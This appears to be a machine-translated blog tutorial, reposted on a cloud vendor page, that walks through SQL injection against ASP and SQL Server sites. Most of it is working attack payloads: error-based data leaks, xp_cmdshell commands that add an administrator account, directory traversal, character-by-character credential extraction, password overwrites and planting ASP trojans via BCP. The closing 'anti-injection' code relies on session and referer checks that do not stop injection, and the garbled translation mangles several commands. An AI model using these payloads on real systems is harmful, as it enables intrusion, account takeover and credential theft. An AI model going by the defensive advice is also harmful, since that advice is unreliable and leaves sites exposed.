Incomplete SQL Injection ideas and anti-injection programs

Source: Internet
Author: User
Tags bulk insert odbc connection servervariables sql injection attack sql server injection what sql

Author: Zhang Haibing Source: EE blog responsible editor: Ark

From: http://www.yesky.com/475/1910975.shtml

<1> introduction to SQL Injection

Many websitesProgramAt the time of writing, the legality of user input data is not determined, so that the application has security risks. You can submit a database queryCode, (Usually in the browser address bar, access through the normal WWW port) according to the results returned by the program, get some data he wants to know, this is the so-called SQL injection, that is, SQL injection.

<2> SQL Injection ideas

The idea is the most important. In fact, many people do not know what SQL can do? Here we will summarize the general idea of SQL Injection intrusion:

1. Determine the SQL injection vulnerability, that is, find the injection point

2. Determine the background database type

3. determine the executable status of xp_mongoshell. If the account that is currently connected to the data has the SA permission and the master. DBO. xp_mongoshell extends the stored procedure (the shell of the operating system can be directly used when this stored procedure is called) and can be fully controlled by the entire computer in several ways, thus completing the entire injection process, otherwise, continue:

1. Web virtual directory discovered

2. upload an ASP Trojan Horse;

3. Get administrator permissions

Procedure:

I. Determination of SQL Injection Vulnerabilities

If you have never used injection before, remove the check box before ie menu-tools-Internet Options-advanced-show friendly HTTP Error messages.

To clarify the problem, the following uses http: // www.163.com/news.asp? Id = XX (this address is hypothetical). For example, XX may be an integer or a string.

1. Integer parameter judgment

When XX is an integer, the SQL statement in news. asp is generally as follows:

Select * from table name where field = XX, so you can use the following steps to test whether SQL Injection exists.

Simplest Judgment Method

Http: // www.163.com/news.asp? Id = xx' (add a single quotation mark ),

The SQL statement in news. asp becomes

Select * from table name where field = XX ',

If the program does not filter "'", it will prompt that news. asp is running abnormally. However, this method is very simple, but it is not the best, because:

First, not necessarily the IIS of each server returns a specific error message to the client. If statements such as CINT (parameter) are added to the program, SQL injection will not succeed, but the server also reports an error. The specific prompt is that an error occurs on the server when processing the URL. Contact the system administrator.

Second, at present, most programmers have already filtered out, so use ''to test the injection points. Therefore, the classic 1 = 1 and 1 = 2 testing methods are generally used. See below:

Http: // www.163.com/news.asp? Id = XX and 1 = 1, news. asp is running normally,

And with http: // www.163.com/news.asp? Id = XX running results are the same;

Http: // www.163.com/news.asp? Id = XX and 1 = 2, News. asp running exception; (this is the classic
1 = 1 1 = 2 judgment method)

If the preceding conditions are met, the SQL injection vulnerability exists in news. asp. Otherwise, the SQL injection vulnerability may not exist.

2. Determination of string Parameters

The method is basically the same as that for numeric parameter determination.

When the input parameter XX is a string, the SQL statement in news. asp is roughly as follows:

Select * from table name where field = 'XX', so you can use the following steps to test whether SQL Injection exists.

Http: // www.163.com/news.asp? Id = xx' (append a single quotation mark). The SQL statement in news. asp becomes

Select * from table name where field = XX ', news. asp running exception;
Http: // www.163.com/news.asp? Id = XX and & #39; 1' = '1', news. asp runs normally,

And with http: // www.163.com/news.asp? Id = XX running results are the same;

Http: // www.163.com/news.asp? Id = XX and & #39; 1' = '2', news. asp running exception;

If the preceding conditions are met, news. asp has the SQL injection vulnerability. Otherwise, it cannot be injected.

3. Handling of Special Cases

Sometimes ASP programmers filter out single quotes and other characters to prevent SQL injection. You can try the following methods.

① Fixed-size mixing: Because vbs are not case sensitive, programmers usually either filter all uppercase strings or all lowercase strings during filtering, while case-sensitive mixing is often ignored. For example, replace select and select with select;

② Unicode method: in IIS, Unicode character sets are used for internationalization. We can convert the string entered in IE into a unicode string for input. For example, + = % 2B, Space = % 20, etc. For urlencode information, see Appendix 1;

③ ASCII code: all or part of the entered characters can be entered.

<4> In addition to the above method, a simpler method is to use a ready-made tool like nbsi OF Nb consortium. The latest version is 2.2.

Ii. Determine the Database Type

Different database functions and injection methods are different. Therefore, before injection, we need to determine the database type. Generally, access and sqlserver are the most commonly used databases in ASP. More than 99% of websites on the Internet are among them.

How can a program tell you what database it uses? Let's take a look:

Sqlserver has some system variables. If IIS on the server prompts that it is not closed and SQL server returns an error message, you can directly obtain the error information as follows:
Http: // www.163.com/news.asp? Id = xx; and user> 0

This statement is very simple, but contains the essence of the SQL Server injection method. I also found this efficient method in an unintentional test. Let me take a look at its meaning: first, the preceding statement is normal, with emphasis on and user> 0. We know that user is a built-in variable of sqlserver, the value is the username of the current connection and the type is nvarchar. Compare the nvarchar value with the int value 0. The system will first try to convert the nvarchar value to the int type. Of course, the conversion process will definitely fail. The sqlserver error prompt is: A syntax error occurs when converting the nvarchar value "ABC" to an int column. The value of ABC is the value of the variable user. In this way, the user name of the database is obtained without any effort. In the future, we will see many statements using this method.
By the way, as we all know, the sqlserver user SA is a role equivalent to the adminstrators permission. With the SA permission, you can almost certainly get the administrator of the host. The above method can be used to easily test whether to log on with SA. Note that, if it is a log on with SA, an error occurs when "DBO" is converted to an int column, instead of "sa ".

If IIS on the server does not allow an error message to be returned, how can we determine the database type? We can start with the difference between access and sqlserver. Access and sqlserver both have their own system tables, such as tables that store all objects in the database. Access is in the system table [msysobjects, however, when reading the table in the web environment, the system prompts "no permission". sqlserver is in the table [sysobjects] and can be read normally in the Web environment.

Use the following statement to confirm that the injection can be performed:

Http: // www.163.com/news.asp? Id = xx; and (select count (*) from sysobjects)> 0
Http: // www.163.com/news.asp? Id = xx; and (select count (*) from msysobjects)> 0

If the database is sqlserver, then the page of the first website and the original page http: // www.163.com/news.asp? Id = XX is roughly the same. However, because the second web site cannot find the table msysobjects, an error is prompted. Even if the program has fault tolerance processing, the page is completely different from the original page.

If the database uses access, the situation is different. The page of the first website is completely different from the original page. The second website is determined by whether the database allows reading the system table, generally, this is not allowed, so it is completely different from the original website. In most cases, the database type used by the system can be known through the first web site. The second web site is used only for verification when the IIS error prompt is enabled.

Iii. Determine the executable status of xp_cmdshell

If the account that is currently connected to data has the SA permission and master. DBO. xp_mongoshell extends the Stored Procedure (you can directly use the shell of the operating system to call this Stored Procedure). The entire computer can be fully controlled using the following methods, and all subsequent steps can be saved.

1. http: // www.163.com/news.asp? Id = XX and user>; 0 News. asp: Execution exception. However, you can obtain the username of the currently connected database (if DBO is displayed, it indicates SA ).

2. http: // www.163.com/news.asp? Id = XX and db_name ()> 0 News. asp execution exception, but the database name currently connected can be obtained.

3. http: // www.163.com/news.asp? Id = xx; Exec
Master.. xp_shareshell "net user aaa bbb/Add" -- (master is the master data of the SQL-SERVER
Library; the semicolon in the name indicates the statement name before the SQL-SERVER executes the semicolon, continue to execute the statement after it; the "-" number is the annotation, indicating that all the content after it is only a comment, you can directly add the operating system account AAA with the password BBB.

4. http: // www.163.com/news.asp? Id = xx; Exec
Master.. xp_mongoshell "net localgroup administrators AAA/Add" -- add the newly added
The account AAA is added to the Administrators group.

5. http: // www.163.com/news.asp? Id = xx; Name of the backuup database
Disk = 'C: \ Inetpub \ wwwroot \ save. db'
Back up all the files to the web directory, and then use HTTP to download the file (of course, you must first know the WEB virtual directory ).

6. Create a unicode vulnerability by copying cmd

Http: // www.163.com/news.asp? Id = xx; Exec master. DBO. xp_mongoshell "copy
C: \ winnt \ system32 \ cmd.exe

C: \ Inetpub \ scripts \ cmd.exe "creates a unicode vulnerability, this completes the control of the entire computer (of course, the first choice is to know the WEB virtual directory ).

In this way, you have successfully completed an SQL injection attack. Don't be excited. In practice, you will find that this is more difficult than the theory, and you will have more difficulties waiting for you to come over, if the above conditions are not true, go on should continue to struggle (to mount the Trojan :))

Go on ~!

If the preceding conditions are not met, proceed with the following steps:

(1) discover web virtual directories

Only the WEB virtual directory can be found to determine the location where the ASP Trojan is placed and obtain the user permission. Two methods are effective.

First, based on experience, the Web virtual directory is: C: \ Inetpub \ wwwroot;

D: \ Inetpub \ wwwroot; E: \ Inetpub \ wwwroot, etc. The executable virtual directory is:
C: \ Inetpub \ scripts; D: \ Inetpub \ scripts; E: \ Inetpub \ scripts.

The second is to traverse the directory structure of the system, analyze the results and find the WEB virtual directory;

First create a temporary table: temp

Http: // www.163.com/news.asp? Id = xx; Create Table temp (ID nvarchar (255), num1
Nvarchar (255), num2 nvarchar (255), num3
Nvarchar (255 ));--

Next:

1. We can use xp_availablemedia to obtain all the current drives and store them in the temp table:

Http: // www.163.com/news.asp? Id = xx; insert temp Exec
Master. DBO. xp_availablemedia ;--

We can query the temp content to obtain the drive list and related information.

2. We can use xp_subdirs to obtain the subdirectory list and store it in the temp table:

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID) Exec
Master. DBO. xp_subdirs 'C :\';--

3. We can also use xp_dirtree to obtain the directory tree structure of all sub-directories and import them to the temp table:

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID, num1) Exec
Master. DBO. xp_dirtree 'C :\';--

In this way, you can successfully browse the list of all directories (folders:

To view the content of a file, run xp_cmdsell:

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID) Exec
Master. DBO. xp_mongoshell 'Type c: \ WEB \ index. asp ';--

You can use the 'bulk insert' syntax to insert a text file into a temporary table. For example, bulk insert temp (ID) from 'C: \ Inetpub \ wwwroot \ index. asp'
View temp to view the index. asp file! By analyzing various ASP files, you can obtain a large amount of system information, web construction and management information, and even the connection password of the SA account.

Of course, if xp_cmshell can be executed, we can use it to complete:

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID) Exec
Master. DBO. xp_mongoshell 'dir c :\';--
Http: // www.163.com/news.asp? Id = xx; insert into temp (ID) Exec
Master. DBO. xp_mongoshell 'dir c: \ *. asp/S/';--

Through xp_cmdshell, we can see all what we want to see, including w3svc

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID) Exec
Master. DBO. xp_mongoshell 'cscript
C: \ Inetpub \ adminscripts \ adsutil. vbs Enum W3SVC'

However, we can also use

Http: // www.163.com/news.asp? Id = xx; insert into temp (ID, num1) Exec
Master. DBO. xp_dirtree 'C :\';--

Note:

1. After each of the preceding items is viewed, all contents in temp should be deleted:

Http: // www.163.com/news.asp? Id = xx; delete from temp ;--

2. The temp table is browsed by: (Suppose testdb is the name of the database currently connected)
Http: // www.163.com/news.asp? Id = XX and (select top 1 ID from testdb. DBO. Temp)> 0

Obtain the value of the first record ID field in the table temp and compare it with an integer. Obviously, news. asp is abnormal, but the value of the ID field can be found in the exception. If the table name is xyz

Http: // www.163.com/news.asp? Id = XX and (select top 1 ID from testdb. DBO. Temp)> 0 where ID
Not in ('xyz')> 0

Obtain the value of the second record ID field in the temp table.

(2) Uploading ASP Trojans

The so-called ASP Trojan is a piece of ASP code with special functions and put it under the scripts of the Web virtual directory. Remote customers can execute it through IE to obtain the user permission of the system, implement initial control over the system. There are two effective methods for uploading ASP Trojans:

1. Use the Web Remote Management Function

Many Web sites provide remote management to facilitate maintenance. Many Web sites have different access permissions for different users. In order to achieve the control of user permissions, there is a Web page that requires the user name and password. Only after the correct value is entered can the next operation be performed to manage the web, such as uploading and downloading files, browsing directories, and modifying configurations.

Therefore, if you get the correct user name and password, you can not only upload ASP Trojans, but sometimes even directly get the user permission to browse the system, the complex operations of "discovering Web virtual directories" in the previous step are ignored.

The username and password are generally stored in a table, and the problem is solved when the table is read. The following two effective methods are provided.

A,
Injection Method:

Theoretically, the authentication webpage has the following types:

Select * from Admin where username = 'xxx' and Password = 'yyy' statement. If necessary character filtering is not performed before the sentence is officially run, it is easy to implement SQL injection.

For example, enter ABC 'or 1 = 1 in the username text box -- enter 123 in the password box, and the SQL statement is changed:

Select * from Admin where username = 'abc' or 1 = 1 and Password = '000000'

Regardless of the user name and password entered by the user, this statement can always be correctly executed. The user can easily cheat the system and obtain a valid identity.

B. Guess the solution:

The basic idea is: to guess the names of all databases, guess the names of each table in the warehouse, analyze the table names that store the user name and password, and guess the names of each field in the table, guess the content of each record in the table.

A. Guess all database names

Http: // www.163.com/news.asp? Id = XX and (select count (*) from
Master. DBO. sysdatabases where Name> 1 and dbid = 6) <> 0

Because the dbid value ranges from 1 to 5, it is used by the system. Therefore, the user must have created it from 6. In addition, we submitted the name> 1 (the name field is a character type field and the number will be wrong), news. an ASP exception occurs. The first database name can be obtained. Similarly, the dbid can be changed to, or respectively... All Database names can be obtained.

Assume that the database name is testdb.

B. Guess the name of the user table in the database.

Guess: This method is used to guess the table name based on personal experience. Generally,

User, users, Member, members, userlist, memberlist, userinfo, Manager, admin, adminuser, systemuser,
Systemusers, sysuser, sysusers, sysaccounts, and systemaccounts. And Judge by statement

Http: // www.163.com/news.asp? Id = XX and (select count (*) from
Testdb. DBO. Table Name)> 0 if the table name exists, news. ASP works normally; otherwise, an exception occurs. Wait until you guess the name of the system account table.

Read method: The SQL-SERVER has a table that stores the core information of the system sysobjects, all the tables, views and other information about a database is stored in this table, and this table can be accessed through the web.

When xtype = 'U' and status> 0 indicates the table created by the user, you can obtain the name of the user table by finding and analyzing the table and name created by each user, the basic implementation method is:

① Http: // www.163.com/news.asp? Id = XX and (select top 1 name from
Testdb. DBO. sysobjects where xtype = 'U' and status> 0)> 0
Obtain the name of the table created by the first user and compare it with the integer. Obviously, news. asp is abnormal, but the table name can be found in the exception. If the table name is xyz

② Http: // www.163.com/news.asp? Id = XX and (select top 1 name from
Testdb. DBO. sysobjects where xtype = 'U' and status> 0 and
Name not in ('xyz')> 0 to get the name of the table created by the second user. Similarly, you can get the names of all created tables.

According to the table name, the user name and password of the table are generally determined. The following assumes that the table is named admin.

C. Name of the username field and password field

The admin table must have a username field and a password field. Only the names of these two fields can be obtained. There are two ways to get their names.

This method is used to guess the field name based on personal experience. Generally, the username field is commonly used: username, name, user, account, etc. The names of password fields are commonly used: Password, pass, PWD, passwd, etc. And Judge by statement

Http: // www.163.com/news.asp? Id = XX and (select count (field name) from
Testdb. DBO. Admin)> 0 "select count (field name) from table name"

Statement to obtain the number of rows in the Table. Therefore, if the field name exists, news. ASP works normally; otherwise, an exception occurs. This loop continues until the names of the two fields are guessed.

Read method: the basic implementation method is

Http: // www.163.com/news.asp? Id = XX and (select top 1
Col_name (object_id ('admin'), 1) from testdb. DBO. sysobjects)> 0.
Select top 1 col_name (object_id ('admin'), 1) from testdb. DBO. sysobjects is the first field name for obtaining a known table name from sysobjects. When compared with an integer, it is clear that news. ASP is abnormal, but the field name can be found in the exception. Replace 1 in col_name (object_id ('admin'), 1 with 2, 3, 4, 5, 6... You can obtain the names of all fields.

D. Guess the username and password.

The most common and effective methods to guess the user name and password are:

ASCII code verbatim decoding method: although this method is slow, it is certainly feasible. The basic idea is to first guess the length of the field and then guess the value of each bit in sequence. The method of user name guessing is the same as that of password guessing. The following uses the user name guessing as an example to describe the process.

Http: // www.163.com/news.asp? Id = XX and (select top 1 Len (username) from
Testdb. DBO. Admin) = x (x = 1, 2, 3, 4, 5 ,... N, username

Is the name of the username field, and Admin is the table name). If X is a value of I and news. asp is running normally, I is the length of the first username. For example, when you enter
Http: // www.163.com/news.asp? Id = XX and (select top 1 Len (username) from
When testdb. DBO. Admin) = 8, news. asp runs normally, the length of the first user name is 8.

http: // www.163.com/news.asp? Id = XX and (select top 1
ASCII (substring (username, M, 1) from testdb. DBO. admin) = n (m value ranges from 1 to the length of the username obtained in the previous step. When M is 1, 2, 3 ,... Guess the number 1, 2, 3 ,... Bit value; n value is 1 ~ 9. ~ Z, ~ ASCII value of Z, that is, 1 ~ Any value between 128; Admin is the name of the System user account table), if n is a value I and news. when ASP is running normally, the ASCII code corresponding to I is the value of a user name. For example, when you enter
http: // www.163.com/news.asp? Id = XX and (select top 1
ASCII (substring (username, 3,1) from testdb. DBO. admin) = 80 hours news. if ASP runs normally, the third digit of the user name is P (ASCII of P is 80); http: // www.163.com/news.asp? Id = XX and (select top 1
ASCII (substring (username, 9,1) from testdb. DBO. admin) = 33 hours news. if ASP runs normally, the 9th-bit user name is! (! Can guess all other user names and passwords. Note: Sometimes the obtained password may be the Information encrypted by MD5 or other methods, and you also need to use a dedicated tool for password removal. You can also change the password before using it. See the following description. Simple Method: Use http: // www.163.com/news.asp? Id = XX and (select top 1 flag from
testdb. DBO. admin where username> 1). flag is a field in the admin table, and username is the username field. In this case, news. ASP is abnormal, but the username value can be obtained. In the same way as above, you can get the second user name, the third user, and so on until all the user names in the table.

Guess the User Password: http: // www.163.com/news.asp? Id = XX and (select top 1 flag from
Testdb. DBO. Admin where PWD> 1). flag is a field in the admin table and PWD is a password field. In this case, news. asp is abnormal, but the value of PWD can be obtained. In the same way, you can obtain the password of the second user name, the password of the third user, and so on until the password of all users in the table. The password is sometimes encrypted by MD5 and can be changed.

Http: // www.163.com/news.asp? Id = xx; update testdb. DBO. Admin set Pwd ='
A0b923820dcc509a 'where username = 'www '; -- (the MD5 value of 1 is aaabbbcccdddeeef, that is, change the password to 1; WWW is a known user name) you can change the password to the original value in the same way.

2. Use the table content to import files

SQL has the BCP command, which can export the table content into a text file and place it in a specified location. With this function, we can first create a temporary table, then input an ASP trojan in one row in the table, and then use the BCP command to export and form an ASP file.

The command line format is as follows:

BCP "select * from text .. foo" queryout c: \ Inetpub \ wwwroot \ 163.asp-C
-S localhost-U sa-P foobar
(The 's' parameter is the server on which the query is executed, the 'U' parameter is the user name, And the 'p' parameter is the password. A Trojan of 163. asp is uploaded)

3. Use tools, such as some of the most important table names for reference data given by nbsi:

Select * From sysobjects
Sysobjects ncsysobjects
Sysindexes tsysindexes
Syscolumns
Policypes
Sysusers
Sysdatabases
Sysxlogins
Sysprocesses

The most important user names (the default SQL database exists)

Public
DBO
Guest (generally forbidden or not authorized)
Db_sercurityadmin
AB _dlladmin
Some default extensions
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
Xp_availablemedia drive
Xp_dirtree directory
Xp_enumdsn ODBC connection
Xp_loginconfig server security mode information
Xp_makecab: Create a compressed volume
Xp_ntsec_enumdomains Domain Information
Xp_terminate_process terminal process, and a PID is provided.

(3) obtain system administrator privileges

ASP Trojans only have the user permission. To gain full control over the system, you must have the system administrator permission. What should I do? There are many methods to improve permissions:

Upload the trojan and modify the. ini file that runs automatically upon startup (it will die upon restart );

Copy cmd.exe to scripts to create a unicode vulnerability;

Download the Sam file, crack and obtain all the OS user names and passwords;

Wait, depending on the specific circumstances of the system, you can adopt different methods.

So how can we prevent injection? The program can be added to ASP, HTML, PHP, or CGI as follows. Tested. Add headers such as top. asp

Method 1:

<% If SESSION ("username" = "" or
Session ("userkey" = "" then
Response. Redirect "http://www.cnblogs.com /"
End if %>

(Note: if there is a user injection, the page will jump to http://www.cnblogs.com/, And you will inject it to me in one go)

Method 2:

<%
Server_v1 = CSTR (request. servervariables ("http_referer ")
Server_v2 = CSTR (request. servervariables ("SERVER_NAME ")
If mid (server_v1, 8, Len (server_v2) <> server_v2 then
Response. Write "<br> <center> <Table border = 1
Cellpadding = 20 bordercolor = black bgcolor = # eeeeee width = 450>"
Response. Write "<tr> <TD style =" Font: 9pt verdana ">"
Response. write "the submitted path is incorrect. Do not submit data from outside the site. Please do not confuse this parameter! "
Response. Write "</TD> </tr> </table> </center>"
Response. End
End if
%>

(Note: as long as there is user injection, it is determined to be an external connection)

Method 3:

<% Dim from_url, serv_url
From_url = CSTR (request. servervariables ("http_referer ")
Serv_url = CSTR (request. servervariables ("SERVER_NAME ")
If mid (from_url, 8, Len (serv_url) <> serv_url then
Response. Write "no"
Response. Redirect ("../"
Response. End
End if %>

(Note: Jump to if there is user injection .. /(this can be changed to other websites or other pages to give them a small warning)

Hackers are closely related to security ......

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.